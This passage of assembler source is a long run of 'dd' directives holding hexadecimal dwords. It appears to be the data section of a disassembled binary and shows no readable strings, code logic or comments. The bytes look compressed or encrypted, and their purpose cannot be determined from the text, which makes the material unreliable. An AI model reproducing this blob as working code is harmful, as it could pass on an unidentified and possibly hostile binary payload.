61F80739h, 7FF10C03h dd 0C3BD0339h, 75FF6790h, 2BBF11C0h, 795608A0h, 0CAB4D60Dh dd 0E8F8500Fh, 5F54A87Eh, 9A30F6Eh, 100097C2h, 0C1B895FDh dd 86C0E200h, 0CC2AE73Eh, 0B70D1C93h, 39E64644h, 61B0A602h dd 0F38D5B0Eh, 3FB0387Eh, 0CBE900C1h, 0BE2901EEh, 1358B522h dd 0AF931E8Ch, 0DFF3200h, 2E5EA502h, 1E2D7B37h, 617600F1h dd 5CE864CAh, 51964916h, 8590B703h, 0C660FFB9h, 1B3BF65h dd 0ABBB7FA7h, 0DCE6F4D9h, 1200F82Eh, 9D5B8872h, 0F692DDA2h dd 0B06A3E49h, 1C8E4600h, 71364147h, 655FB41Fh, 0B300D79Eh dd 0E993C383h, 486300B0h dd 7654FBECh, 0CB001B91h, 0D0EDBC7Ah, 0CFB490h, 0F74E4472h dd 6DE9AEF5h, 0E59C0302h, 0E046CBF2h, 0A833C1h, 4E84A232h dd 4B7489AAh, 1E07E01Ch, 5BB6817Dh, 0E3410668h, 2C723DC8h dd 80F86E81h, 4CCD70Bh, 610CD1E0h, 8E1E89Dh, 0A921C053h dd 0F48ACCEFh, 819C943Bh, 9DF2A322h, 272123ACh, 0E9AAE000h dd 3452A99h, 76C02E8h, 12B6D02Eh, 228D3C40h, 213908CCh dd 2EF642h, 0A28EA095h, 8A1714FDh, 57C40500h, 233AD2F4h dd 377B86Dh, 0CD16121Eh, 89804F9Bh, 0E10155C7h, 0BE4D3F07h dd 0DEF06C2Ch, 946319C0h, 806BE026h, 0DA7B5AB9h, 14AFCE9h dd 0D6D2262h, 0BE667F8Ah, 2EDC0C40h, 10A7186Ah, 169AFB2h dd 0B13B6B74h, 108078FFh, 0D0412B55h, 44001113h, 1A9B923h dd 0FCC246h, 95D8BDFEh, 0B36CB5CFh, 535FA200h, 0D07BDBC7h dd 0B45B007Eh, 14AA2B6Fh, 500021F8h, 16979D8Dh, 0E4E5CDCh dd 7E523085h, 459C6F40h, 91008820h, 68DE24C3h, 45BF3ECh dd 0DFC5B374h, 3FC0C04Fh, 8C03FEABh, 0AFC47AD9h, 464CC89Ah dd 9C5300C9h, 3BBA9D89h, 0D1004FE4h, 0B16E6D40h, 83B220h dd 252E841Ah, 0DE896BEFh, 0BCE4613Bh, 78BF0009h, 0C3116053h dd 6AC000F2h, 0D45E163Ch, 5C001596h, 0BA48D2AFh, 385B76C7h dd 0EA078878h, 2E7316C9h, 4EE781A0h, 7701A78Fh, 0AEF0F517h dd 480A541h, 0A8E4DFBh, 5F00FC94h, 1257A8EBh, 688240Ch dd 33C3B9B4h, 56011861h, 8225031Bh, 12D46748h, 23E028h dd 0FD7EB0F2h, 43F3E185h, 874E0F00h, 57489213h, 0A82B07B2h dd 2EE46A75h, 97583F80h, 7000870h, 5FE8D94Ch, 0AA4D7Eh dd 0F904BAEh, 9B245962h, 983DF800h, 0BE60645Eh, 3249C0EBh dd 34F3058Dh, 450F3879h, 0E013ACD6h, 36515BB7h, 0C96D07E1h dd 0C089E0E6h, 4BAB0B8Eh, 2838327Eh, 3C918070h, 5B4119CCh dd 0BE5207A7h, 201407C1h, 0BB8D3FBAh, 0CABCFE1Dh, 53C02B80h dd 7F2D665Eh, 387005h, 0D8AB34FCh, 617B607Ch, 56023600h dd 90413DADh, 57FD1B9Eh, 0CA80A855h, 17014494h, 5402BEAEh dd 0BE44BACh, 0F48E00F3h, 44CC3EADh, 97038431h, 0E57E4692h dd 7838D8A4h, 0E27BDAh, 89F99A50h, 0BA9E8D3Ch, 53CCBC00h dd 0B9FAD688h, 2F780323h, 0BDBF70C3h, 0DB669D98h, 33FF5F00h dd 29C77BCDh, 68F1002Ch, 0AE5A59B3h, 7C002ADCh, 0E1D1C31Ch dd 3854A8EEh, 9200311Eh, 2C68AE20h, 0B5246379h, 7E04451Ah dd 5A87E8D0h, 0E7BA4BD0h, 0FFE5005Ah, 0BCC6F577h, 740094A0h dd 431C6105h, 6749D8h, 3BF3422Bh, 0A39D5E1Ah, 804B4C3Eh dd 38E4E8DAh, 16FABBC5h, 675444h, 7513C3ACh, 0C900200Dh dd 279F41Ch, 0AFA6F2h, 0DF5D1BE8h, 75884964h, 3E94D401h dd 0AD71C4F1h, 7917F8h, 0D9EDF587h, 1FF42B26h, 45444C00h dd 0EC0FDDBDh, 0BE2D07D2h, 1092BCDEh, 0D416D1C8h, 7C03902h dd 86B51093h, 0E68058F8h, 7CAF05F7h, 1289E92h, 0A689DEE0h dd 4F59802Ah, 0FDFFAAEBh, 0CE2100A5h, 9C80AE42h, 0F03F024h dd 5F54C048h, 6284D874h, 697C1786h, 4FF10A64h, 9BAF09B0h dd 1FDC1980h, 0A20086B8h, 6BCD3B27h, 7B75C35h, 0D4C173B9h dd 813DB455h, 80D14D04h, 7F669EA0h, 0D38CB5h, 80FE634Fh dd 5F1710D2h, 692D512h, 999D7C40h, 9068A6B0h, 0A2225C2Ch dd 0B552000h, 0D434B348h, 0B83349h, 948CDF81h, 1F0F4D8Bh dd 3A8E61B7h, 0C6BEFF8Ch, 840088DEh, 9EFCB31Dh, 3E1497Dh dd 0B308AEBh, 9CDA70Eh, 0CF031690h, 33B3BC83h, 301FAFE8h dd 3AA61809h, 0F0582036h, 77BDF8h, 4FC0BEA2h, 61187C1Eh dd 7200807Bh, 0F1420F75h, 20C628h, 5AF6338Ch, 5CE5B041h dd 9C1F700h, 0A6C3C4FCh, 0CF87003Bh, 249FFAC2h, 2A00AA1Fh dd 8B1A9BA0h, 0CD364Bh, 0ECCC4172h, 3A5ED978h, 0AD77E90Fh dd 325C6039h, 7B037B4Bh, 8714005Ah, 1AC73598h, 0FCE82C10h dd 95120A79h, 8200A172h, 3D795177h, 0E047E8Ch, 5B913B0Bh dd 4FA0EEAEh, 9FEA312Ah, 0BD953Eh, 0EFD93454h, 7E6468B9h dd 8070C3CDh, 0B48836B2h, 2100FC82h, 0C550E217h, 5063C6E0h dd 73CC64h, 6AA1F643h, 0ADCCDDA8h, 85F7F114h, 39E1009Ch dd 975A57EFh, 48E8A16Fh, 4CF45FF4h, 690140F5h, 0CD107728h dd 6CC8F39Fh, 497D86C4h, 0EF9D9C0Eh, 9569202Fh, 8F8BD8h dd 5233B75h, 0D459D75Eh, 0F5A66C00h, 0C49EA32Ch, 0CE40013Dh dd 316A4174h, 0ACC084D3h, 84D33365h, 7E7DB9E5h, 302BA2E0h dd 0FB303C68h, 150C23DDh, 4A8B5914h, 0A66E0472h, 90F236A2h dd 4CADC15Ch, 20A41909h, 0EC08803Ah, 7339368h, 0BDC5816Ah dd 2554F0D9h, 3F1991DCh, 0CFE1AFA5h, 94F4DC8h, 9FD01E0Ch dd 0B53D3880h, 0B0271D30h, 1218DCB1h, 80440965h, 54975F80h dd 0E2816C4h, 10F8A9B5h, 9452C209h, 0B1F4206Ch, 3DB7DDE1h dd 0FE808E62h, 0B2CEA44Fh, 890FED13h, 43670Dh, 6F3CD54Bh dd 2A78044Ch, 807249C0h, 2292A252h, 0F0E8500Eh, 73D643FAh dd 660C99E6h, 0ACC3880h, 0F11DDEF5h, 7A652300h, 0BC35A9B3h dd 49A71A3h, 3874889Fh, 5F3C0ADh, 26008CFBh, 4002AF7Dh dd 0F847B21h, 0ACBC94B7h, 12FD840h, 8F0074CCh, 79AA641Ch dd 7AF96AD0h, 54C60B62h, 4F84A7DCh, 0B09B8280h, 963C7A60h dd 1DE76800h, 62916189h, 0D8AC009Eh, 0AE1B72D3h, 7400FA58h dd 767AFDC0h, 15C2A31h, 0F8BDC813h, 0C9284D89h, 0E47770ACh dd 1312973Dh, 991ED0FBh, 631F7B5Ch, 0C98CF902h, 0B823C318h dd 10B9E2h, 1F8E0B47h, 2B4422Dh, 0CD008D71h, 0F723A371h dd 1D2A160Fh, 0C7C44D9Bh, 9064ECBDh, 1C252897h, 0E1B30400h dd 52FF3ACFh, 66A00083h, 0C9C1034Dh, 6279A3FCh, 11535900h dd 7CF2C74Fh, 882100B4h, 0C1F5E670h, 0A4004B8Ch, 8B4668ADh dd 2E9FDBB2h, 0EB1815h, 0EB3D175Ah, 8C008DD6h, 22266BFBh dd 890A99h, 0D11C347Dh, 0EA0F1EFFh, 80B0AC00h, 0B5781D41h dd 320E00B8h, 0C1903A9h, 0F06136Ah, 21A1D326h, 0E116003Eh dd 85F3614h, 7400239Ch, 0E5CE5078h, 78F65h, 6FF43CB2h dd 0D1288CFDh, 93E948h, 0BB29B938h, 58780969h, 54008B2Bh dd 26AC175Ch, 720046CEh, 5A4CE6FCh, 0DC1016DFh, 399FC3A0h dd 0EDC097FAh, 30383582h, 9C789F80h, 0C8DD7BBEh, 311F6FCCh dd 1BE50793h, 47DD95BCh, 18F496E8h, 9EF85990h, 0EAC2AD00h dd 0F50793BEh, 92743Bh, 5796667Fh, 5C40B73Fh, 9F340B00h dd 43C3FA0Dh, 0D41E01B9h, 915E85EFh, 4021C0E2h, 4120022Ch dd 8FE8003Ch, 0F25AAF3Dh, 41D00BFh, 0EADF2487h, 0DE039DAEh dd 0F7E3F16h, 0D2B889Fh, 0BBFB00F5h, 797B9387h, 0D1FFD505h dd 6E02E084h, 6447A803h, 0F8EC9AF9h, 7D7215h, 49104032h dd 4F03452Dh, 0E8AD3303h, 0D87C8157h, 0B15AEAh, 479B856Ch dd 0B097CDA4h, 20A73Ch, 0E7037518h, 9D7C67h, 9ECAED7Dh dd 3679FCA2h, 0F100A998h, 1BBEE5C1h, 3A9B8FF6h, 5180F9CEh dd 85DE9CBBh, 0D700F5D1h, 0B55FDA84h, 3F006F2h, 0F87D4B3h dd 0FCA8011Bh, 0C0C07EE0h, 4A50FDECh, 0F1700005h, 8D03A4EAh dd 3000C106h, 0CD5CBB38h, 186D9E1h, 18A5244Dh, 70DBBE79h dd 721EDCB9h, 95403E53h, 6D27DEC2h, 7AE400BFh, 5EA09394h dd 0B7003AE9h, 7739B982h, 10C53B3h, 0D213950Fh, 0ECB1E491h dd 6200785Ch, 0FA610D65h, 0CD69D4h, 309C234Ch, 0EA8E548h dd 7E3AA500h, 406CACEh dd 0C79200C6h, 0BF88F8C2h, 0E6003B29h, 0A27674E3h, 27833Fh dd 0CA9309D6h, 86B315Dh, 97EF861Eh, 0A4DA2F40h, 6D0485h dd 1AB92353h, 3E13F5B5h, 0C149E900h, 0BB1C4AAFh, 0A7BC00E2h dd 93801437h, 0DA792B20h, 2A9CDE00h, 577D12F7h, 726E007Ch dd 9893167h, 281ECC05h, 71D8E064h, 1ED81F78h, 6C87DC32h dd 1DE2099Dh, 78842000h, 0B53CB73Bh, 6D147377h, 18C0D90h dd 201BA328h, 10810ED0h, 71B5199Ah, 93A880F5h, 35C81FB4h dd 7ECE0087h, 5F6A843Ah, 2B1E44C5h, 3CC0E0D4h, 979D5E45h dd 0F1910177h, 5CDFD613h, 2041E496h, 0BCE78E00h, 0B201795Fh dd 0A1F40CC2h, 4E9994ECh, 80B63B38h, 1D9C117Ah, 2A1E73D0h dd 0DC4787h, 466519EFh, 6453AAC6h, 0E3373Eh, 6B30042Dh dd 0E5D79Dh, 0C9DAEA72h, 0ADC4A90Ch, 0EE739307h, 78E071BCh dd 38F2F84Fh, 0B71DC72Dh, 221308h, 55B97B5Dh, 0E90EE4A8h dd 0E0BA769Fh, 1988DC60h, 2364036Fh, 62BF0E8Fh, 316050EAh dd 0C14AFB61h, 31A6B0h, 114A2C79h, 83D04633h, 3DA6150Ch dd 0EF68E0C7h, 62773C10h, 6EDA1100h, 0C56B821Ch, 80081D2Eh dd 22A840EDh, 9079358Dh, 0CB67BF00h, 9CCA3142h, 3C62023Dh dd 0A8BD4E1Dh, 0C5CADE0h, 124B0200h, 0A68438EBh, 39352A70h dd 3C850094h, 2482523Eh, 16002DDEh, 6F7E4990h, 0E6A110h dd 574FE0A7h, 2704211Ah, 1C59E203h, 0AC32CBFEh, 4D7BCC80h dd 4C090FB4h, 0EC203901h, 0D047F1DDh, 6499FD17h, 5A0A1900h dd 7A15DCh, 0CF69298Ah, 57B38963h, 22899E60h, 7DBE11A9h dd 0D8C31DB6h, 4FB900C2h, 5A0F6A6h, 280BC930h, 8C773h dd 6423CD88h, 0D61FBD3Fh, 0ECE36518h, 0C990320h, 0EAEE67A3h dd 9EB85210h, 749063F8h, 53B03200h, 6838342Ch, 0F00A7FC2h dd 988E4D1Ch, 77D6F200h, 81B456B8h, 5802CC00h, 6AC2AA3Bh dd 922B384Dh, 0E250FB87h, 7406F03Ah, 671E1530h, 4E9CD41Dh dd 0DF541347h, 0B278C110h, 36610012h, 0C7B53E35h, 21007C32h dd 91CBCE62h, 0F0E8091Bh, 0F76F68Ch, 3BC5AB67h, 805DD484h dd 99E56498h, 4E5CDB00h, 78CF9A75h, 8A1500DFh, 29B46C4Dh dd 9400D36Dh, 827EEFCBh, 4A797193h, 0C016C0ADh, 67005A0Bh dd 74DA06Ch, 0F0C8CFh, 0E74C0CA7h, 0C50F9FBEh, 1C759A48h dd 7C00623Eh, 0AB4E932h, 0EE1707DAh, 73975991h, 0F1882CC1h dd 0CC03BBC5h, 2872CAFFh, 0AFE8C8B9h, 4E480004h, 0E3A40D09h dd 2300A047h, 799294CCh, 27CFE4h, 0D3FF5824h, 3B186BD6h dd 5212A8E2h, 740E7C55h, 0DED2A016h, 597192h, 0ACDD4EC6h dd 0E50B01Eh, 9A743Fh, 7CE0D06Bh, 767F6940h, 0FCC3031Ch dd 1F9B3470h, 66EA1B88h, 9E2E4300h, 62094017h, 7CDB59C2h dd 0F224600Fh, 129B0102h, 34B60068h, 8FAC7818h, 0C14E11h dd 0B92442A7h, 4D1DB70Ch, 0C8A9BE01h, 7BE15488h, 8ACC2987h dd 2B3D50B2h, 6100241Ah, 660C464Ch, 8347AEh, 4D44D239h dd 70A510BFh, 6F11E4A0h, 0C62E2A00h, 43406803h, 29E600ECh dd 5C6C07C8h, 2A00FC47h, 0FAA8A394h, 0CA2D8A9h, 7A2C98CAh dd 2400F2C0h, 4115C6E6h, 1B9B01Ah, 6725C2B5h, 2454B1F9h dd 0EF0014A0h, 7C48E6D0h, 9A73E4h, 20E8903Ah, 466601BCh dd 7A45A4Ch, 0EF52D32Eh, 7DE325C0h, 0B6910F82h, 7E81D6C3h dd 0C47875D8h, 9003AFFEh, 52DE85F1h, 0C827A997h, 9B0BC180h dd 0EB4ABF2h, 5BE6610Ch, 32248E4h, 16C303FFh, 7B9060B7h dd 0ED241E28h, 8700FD91h, 20BAAC40h, 0F2A73A7Ah, 57BB6680h dd 0E9EF36AAh, 6F00907Eh, 7E581456h, 2AE115h, 733B4191h dd 0D3A7F636h, 837D850Eh, 65ABC146h, 0A320393Eh, 1E90EE6Fh dd 6867C133h, 0D31500E9h, 408343A6h, 841DFAAAh, 1B8069F6h dd 0C0AF8D14h, 971E0BBAh, 488664Ch, 64AC40B0h, 0FCECF7B5h dd 520EA000h, 0A989EC80h, 0CCA6006h, 35DD316Bh, 7BEB2701h dd 8BC1A361h, 39783560h, 0EE070C6Eh, 704B6BC2h, 0AA0D2EF5h dd 13DFDE00h, 0D44FC12Ch, 7B35001Ah, 6C01A69Ch, 7972D921h dd 6A0077EAh, 18A19904h, 1A47BFh, 0B11D2DE4h, 0D0BC7B16h dd 5949B400h, 170453CFh, 0C2F71DDBh, 0F4533C24h, 2F872A81h dd 92F8C483h, 0D6EFB000h, 95E03CEDh, 89AB000Eh, 636D481Ah dd 551F11B6h, 6180DC3Fh, 1725ED21h, 58490064h, 14307EB3h dd 0E800D9F5h, 4553516Fh, 18BB246Dh, 18F4D271h, 1A019022h dd 0B95CB598h, 0A83227F3h, 3CF92426h, 1FF224h, 3AD36652h dd 713BBFADh, 9ADC0Ah, 19584CDFh, 0BBBEB2h, 0EC670675h dd 5C56D6A5h, 50F8FB0h, 0C077408Dh, 23C9B2FFh, 0F0E82825h dd 4AFBE6B0h, 77843BEh, 0B0807EF8h, 9E3D06AFh, 978092A8h dd 9604A406h, 50D82210h, 44007678h, 0CBE26EE3h, 8FF4E5h dd 87BDFEAFh, 0BC1D6C14h, 0F2E7FF02h, 90CF4C50h, 250A4010h dd 0C4028C3Bh, 0A00914DDh, 0AFB7C888h, 47FC00D8h, 94B1648Fh dd 0BD1D79ECh, 0F9C05869h, 35E62D3Bh, 4096008Ah, 2A8763C9h dd 6807C392h, 41E107EBh, 77B7E317h, 0CEE253B0h, 0B79A0h dd 0F6666B8Dh, 91B07124h, 0EDFFBB00h, 1CF5DDCBh, 15D700B4h dd 1310AB96h, 2CE28CFAh, 399B6B09h, 0DD3B2BC5h, 0B891DA00h dd 8100D90Ah, 8BDFC018h, 0FD191Eh, 0D3970D86h, 0D1ACF1F0h dd 56CE0E1Ch, 1C3A00B8h, 0F7275FA0h, 0B4B700AEh, 7EFEDC76h dd 0C70549B8h, 90DDD2F8h, 4DCBC400h, 64932Eh, 83B2CDF7h dd 20567A03h, 7C15B800h, 0E17EDCBBh, 710938A9h, 0ADC7A6h dd 296E64E7h, 89031287h, 2AB0A246h, 0E8029355h, 39C7A78h dd 43F9FAC4h, 81ECACD8h, 0CCC3DD1Bh, 0D4134727h, 0D4000588h dd 0E1939741h, 0BC254C4Bh, 6523C100h, 0BBF0246Ch, 5E77D103h dd 0C8CE0792h, 2286D68h, 0AC1239F6h, 0D60FD80h, 0DCE1F520h dd 92001473h, 0BEB1961Dh, 17AB5F89h, 5E54E7h, 0E8EFF528h dd 7800E38Fh, 0E60F44Bh, 0DA40FDh, 74DDB022h, 0B9D51B99h dd 280D000h, 2D962875h, 16FCB0CFh, 11EFFD7h, 427931E0h dd 0F040CDE0h, 0FA7AE6D9h, 78BD9318h, 8AAD68h, 15D62D81h dd 5D90A1F6h, 2A121494h, 2C6BD080h, 0C9080087h, 15A835F5h dd 2D01DCD5h, 72CB24B8h, 146031E5h, 0BB3E00FFh, 4447981Ch dd 0C4B2415Ch, 0B8DF932Eh, 0A5EFEA85h, 187214C0h, 3170FEh dd 6BFC4BB4h, 45E9AA03h, 8E5E5316h, 0D2052703h, 7255B85Ch dd 0F6FD1E7Dh, 257CC377h, 7E847F0h, 590043E3h, 21753D5Bh dd 17A52CFBh, 0F83496Ah, 81C60F2Eh, 0FD001819h, 6FFF7AE1h dd 28DFF5h, 0E91A2E3h, 0F124383Eh, 4C3D46E2h, 0F3CD0080h dd 7AB1EF01h, 438B0966h, 8000C58Fh, 0FA9657D8h, 9D0E4E98h dd 8356C399h, 0B8F2E903h, 39E04CCDh, 1448203Ch, 0CCCAA800h dd 1563975h, 0A28CDA26h, 0F7621000h, 0E36E74D9h, 1F4DDCCh dd 73076DA7h, 0D755BAE8h, 21C34100h, 0B51FCECh, 0FB6F0014h dd 3E13A779h, 0CFFE536Dh, 6B9E4900h, 0D0F6B92Dh, 0DC0B540Ah dd 8E1D075Eh, 5FA4DE23h, 0D734080h, 9701674Bh, 0FDA8349Dh dd 0E5E4357Eh, 0BB05001Eh, 1CB7133h, 0C2585DA2h, 0FCDD099Ch dd 0A3BA80B0h, 586B2FE4h, 37010024h, 59B87BBCh, 7E12F826h dd 2F9F40BFh, 0C6EC0135h, 94F35CC9h, 7D07F0E1h, 8F4D900Eh dd 609C00D9h, 7BDBB1ACh, 15FA0250h, 0DEA4536Eh, 0D36CB068h dd 88634C00h, 1E1945B5h, 0E83F1D54h, 539640D5h, 222C90B8h dd 2E80EB04h, 7484F516h dd 0A08D860Eh, 6BDD1467h, 6D20330h, 96B259A0h, 1030879Ch dd 0E72CA8B9h, 0E6392100h, 98FCD330h, 5D751D63h, 7146C902h dd 906FEE87h, 90E5FB69h, 502C2D12h, 1A3C6C07h, 64C55800h dd 185C2143h, 53B9BA00h, 78B0F172h, 0A070CDh, 0AB5A50B1h dd 4B38801Ch, 3A22C00h, 0F13AA6ACh, 615F0FFCh, 34C053AFh dd 5EF8937h, 0C05B9C09h, 128C8370h, 95FF90CBh, 0E61C00B6h dd 364B64E4h, 910032EAh, 97D7843Dh, 1EA9A214h, 403A51ACh dd 0F3523E0Ch, 750F4334h, 0A004129Ah, 5DEFFE89h, 2A610077h dd 6E024988h, 72007CD1h, 0DA5FE9A0h, 0EACDABh, 0D4B14A86h dd 34C89507h, 6707600h, 12ADFA7Fh, 0A07C9Eh, 4D91EE27h dd 1C90C458h, 300F9C00h, 16F7633Ch, 39B96384h, 47A06B11h dd 0D90044ACh, 3DB7831Ch, 0F8E2E65h, 0A073CF12h, 0C9F32900h dd 70005302h, 3C09B163h, 7E158D3h, 0C81CFB9h, 9EB4EA47h dd 0CEC147E4h, 0D27003Ah, 2A007E02h, 6D2FD0F8h, 6C256Bh dd 551A3E78h, 7C28B883h, 5F473017h, 0FA667C00h, 17D763CEh dd 991E75h, 17B3F092h, 5C00783Bh, 0A05DC0CDh, 0FF2781h dd 30F72377h, 0D81FBE01h, 1E635304h, 0F18091B3h, 962561h dd 840DC9A2h, 1044C4DCh, 0EE1FEC00h, 1C88169Ah, 3AEF04C7h dd 906D9FA8h, 6AD039C8h, 0F234325h, 0BAF540A8h, 3B40720h dd 0D85FAA15h, 36A22DDDh, 8203A470h, 0B4B12BC7h, 721000EAh dd 993EA171h, 0B7052D31h, 8B3E8F1h, 5EA501BFh, 0D45F2743h dd 10798F16h, 0D83034FAh, 29A2711Eh, 0EB0D0E43h, 0A4E6ED1Ch dd 79EA59F9h, 22E91500h, 672588F3h, 0A84BB3h, 465B2148h dd 5758A12Bh, 527A020Eh, 48F8DE6Eh, 4DFD5D8h, 61AB2DBh dd 55688308h, 0CDD39187h, 807C2862h, 0C5F8B465h, 0F9D00F9h dd 89E31F84h, 0E000AF58h, 827DE264h, 0D76D1h, 0F47278B9h dd 5BF786BDh, 0CD099400h, 0E599193Eh, 93680075h, 0F922280Ch dd 5A0014AEh, 33ECE0E6h, 14FEBA8h, 7F414D15h, 304E0F82h dd 17EBE10h, 0C7CA5900h, 0E5468D3Fh, 0EE811EC2h, 6CF003DBh dd 20EF9730h, 3C63D972h, 299AF300h, 699FF582h, 0CD500970h dd 0B80FF40h, 2B55D5A6h, 6C784D70h, 2AB8F676h, 1B06AEE0h dd 6389EC69h, 0B2B7001Eh, 0F44939C1h, 30BA5E97h, 0D1E8E201h dd 287E29B4h, 0D25DF0h, 415687CDh, 0AE88151Ah, 631D2003h dd 0F8626619h, 71E286h, 11822669h, 32B0FCCh, 0EC2C6300h dd 78FDC313h, 0F2795Ah, 0D24AC90h, 495E1BEAh, 4B2E22Ch dd 0D7168B00h, 0BF12A7h, 0CCCD62B5h, 0A8EC80C6h, 0ED379B0Fh dd 83E84097h, 0C0DE5896h, 0DCDAE058h, 0F0B68C42h, 0F580F69Fh dd 0EA864DD3h, 5A97001Ah, 0ADEE6FC1h, 4000A211h, 981EE682h dd 4EB651h, 0BE05A1E8h, 0E7D97337h, 0AB448600h, 811AD559h dd 57E33E61h, 0F20F2448h, 591DAFBFh, 0E18F1192h, 1469F0D1h dd 7C47414Ah, 20D971FAh, 9DAF12A8h, 0E81C79E0h, 344402D9h dd 8157F001h, 403A850h, 1B7BE0D3h, 40786Ah, 7F16A89Eh dd 0FE4D889Dh, 1C87D51Ch, 1B1326BCh, 0C43DAC2Eh, 0A8760206h dd 88DA0443h, 7F903C82h, 7E4478F2h, 2900F771h, 3D2C7612h dd 3F007352h, 9E7DD60Bh, 0CDD4055Ah, 0E3F55332h, 0A35037Ch dd 0C8BC8D27h, 0EB92BFh, 0A4A95BB3h, 0C98236F7h, 0B9A69D0Ch dd 0E04C0Bh, 0AAF88676h, 8040750Ah, 0D119820Eh, 4CC7A599h dd 4EC00580h, 0E6091CB8h, 7E0C8044h, 30A8CB3Dh, 92009DF2h dd 58BA23E3h, 0DAFCFFh, 0BED341E1h, 0CDB7B98Dh, 111D1EE4h dd 0CEC0B094h, 0BCA548ABh, 59F90382h, 0A6E3EF41h, 96D1D390h dd 800009Ah, 0C391A7B0h, 6FB4E5h, 0AA25CB68h, 812DEB1Ah dd 0EDCA0100h, 0A3C052FAh, 4ED30095h, 1B3F5FDBh, 5D07F435h dd 0C6BCFC74h, 546D504Ch, 13EB49Bh, 3F470EE8h, 0FC62E63Ah dd 0BCA16194h, 82264h, 5E0F2FB9h, 39AE1E0h, 960EB13Ah dd 21007863h, 42B44F24h, 756CA8h, 69CD8986h, 1B7F98CCh dd 56F4E100h, 5AB9FC4Ah, 21C7096Dh, 78131993h, 144E2000h dd 5EB75663h, 91D23087h, 0CE37A1F9h, 7A00CF73h, 6E6BE7B8h dd 0E2C678h, 0ACD1FCB0h, 0E467895Ch, 0CF3E7178h, 6A6418D5h dd 7F263299h, 8AE90046h, 2ADEA223h, 4A3BAEE4h, 9E7900DDh dd 0FAE143E5h, 0A57F015Dh, 0FC4586F8h, 1EBF60AAh, 14DE2807h dd 55500466h, 504CF989h, 3AA465h, 577BD2Fh, 29A984F5h dd 0D7679E7Ch, 10307979h, 82C8E5h, 5AFAE0EAh, 1335CEE2h dd 74C19003h, 3A4D628Ch, 90083CEh, 0FBA7B885h, 0A15E01DFh dd 891420Ch, 5A21C0BDh, 788DFB9Fh, 7CF41E05h, 7380BEA6h dd 1E35D5EFh, 4592A287h, 0C0CE66DAh, 0FFAB2FD8h, 4F010A75h dd 0B9B08C7Eh, 0C3608508h, 9888303Fh, 3570D758h, 1084B633h dd 16DEE8C5h, 0C7A8003Bh, 0DF92D350h, 4000E705h, 985DADAAh dd 3A33AE71h, 7D80D923h, 65D1BF8Ch, 536C458Fh, 0DBB848A8h dd 9000B96Ah, 579D8D13h, 0C0ACB74Eh, 0D1D683A8h, 867AC9D4h dd 0E0300877h, 616D414Fh, 6717A49h, 0CE84AA74h, 6260087Ch dd 698E9856h, 9B1B1E49h, 5E360610h, 0B8EA48D3h, 247DC9C0h dd 0B79C49h, 351C5209h, 0FBBAB9F7h, 0B6FAD100h, 6E368408h dd 0D838C0C9h, 0A4947148h, 0E0D04B01h, 0ECE43F62h, 4D89D8h dd 35339798h, 717E9480h, 0A6934Ch, 0FA2A96EAh, 7CFB63Dh dd 0C2E81677h, 0B72F0DAh, 3700C0E5h, 0FE609935h, 0AAE10Fh dd 0BC66DEDBh, 0EDEC1E4Ch, 0D5B19000h, 7640CCE6h, 89C23C0Eh dd 9EB83A00h, 0B3C10A5Bh, 0BA7B4600h, 5A19B54Dh, 0C72000EDh dd 627608E6h, 0D900A48Dh, 7F2733CAh, 30873Eh, 0DE3556C6h dd 7BAAF623h, 77138E03h, 0A021F01Ah, 0F325Fh, 4ECE46CBh dd 3C93EF0Bh, 39C42500h, 2CC2F96Ch, 0E4700737h, 90019F4Fh dd 0A5FB8F0Ah, 2E642D00h, 38CEBA27h, 0C6A903E3h, 28CA9D90h dd 68E506E0h, 0D1C43400h, 0B41438DEh, 5C9000AFh, 0D5CA0870h dd 0DA009B50h, 5F48936Ch, 0E4F48Ah, 3798F972h, 23ED2728h dd 0AA800200h, 48AEA8F6h, 0BB9300B5h, 59BCD24Fh, 5D0011EBh dd 1CE55401h, 28AC40h, 0E795324Eh, 0EAEBC64Ah, 0DB00B678h dd 8B91F0BEh, 4B43DAh, 768A83C8h, 2EC108CEh, 0B0015600h dd 0F0BFF93Dh, 0B73F3FE0h, 7B7484D0h, 6DCA0128h, 4F4270C9h dd 0E0990072h, 69381C9Ah, 82D40025h, 0C4371253h, 65B6FC07h dd 14D0A3BDh, 739523h, 7EF11EE4h, 0AAB87774h, 5F41FC0Fh dd 0EE18FFDh, 7ECD430h, 92D69F09h, 25645D30h, 8852012Eh dd 38BAAC50h, 0EA90EF12h, 0F1002247h, 7C0364FAh, 0D3D52Ch dd 0A4859C29h, 7A61CEDDh, 90ACA700h, 584E07CFh, 2BF33E44h dd 0BB808DBEh, 0FD8C1747h, 0AC001EA5h, 0DD3E3D19h, 5038B7D0h dd 4E78072h, 0FF9B032h, 1AED8081h, 9400DC9Fh, 17B8EADh dd 6A5E9Eh, 4131887Fh, 0B637DF32h, 0C99CE700h, 57FF732Bh dd 94B800A2h, 0D22D5E33h, 69003061h, 3E8F1242h, 76717Dh dd 0DAF390D5h, 0CD32290Eh, 433CD4ECh, 2A208FA3h, 0FC620D3h dd 2E6268h, 8090C089h, 716A1037h, 8182F300h, 7026C5C9h dd 6E7A00FCh, 0B0C36820h, 692806D3h, 5F2CEC7Fh, 240082FEh dd 86B5E887h, 7914909Bh, 6E7E00F7h, 4D508048h, 0FF73DCCCh dd 1B1E881Dh, 0F0BDCF81h, 0F6F89F43h, 0A6B90063h, 568EA422h dd 6D240339h, 358088F7h, 61B53815h, 0E0AB01BCh, 83FB6C01h dd 0C570707Ch, 77F4A21Dh dd 0ECB4E941h, 0A088AC47h, 7A90751Dh, 0D56B6580h, 0FE00E7DFh dd 40112B66h, 0F1B78014h, 0ADE0ECh, 1BC74D8Ah, 0BF19ABC0h dd 0A1EFF303h, 985993E3h, 0C2DFB81h, 0CDA02079h, 1500E7C0h dd 0C738A190h, 79C11CF1h, 920C0A4Ch, 0E849AE2h, 7540C99Bh dd 9D6BFC55h, 0D9B11631h, 0D3C1DE6Fh, 1EC87F8h, 0C3837EF6h dd 0C46E1AFBh, 890C82B6h, 0C80A5747h, 7C0F1D8Bh, 0DA978023h dd 191B0B67h, 8DA9870Ch, 27B1B3h, 3148C84Ch, 153861EEh dd 0E4063E0Fh, 3ABBE03Dh, 0CB027Eh, 414A1864h, 4C739892h dd 9B72507Fh, 471E4D71h, 57C07D15h, 0A93526C6h, 51EF002Eh dd 0C132F43Eh, 0B20070BFh, 0DA2D258h, 5B46AAh, 0CA0B2A09h dd 62B5D3DBh, 55486A0Fh, 0C5C300C6h, 0B8B6C072h, 0E234F0BAh dd 417A0028h, 256F15FEh, 211F6636h, 0E9C57517h, 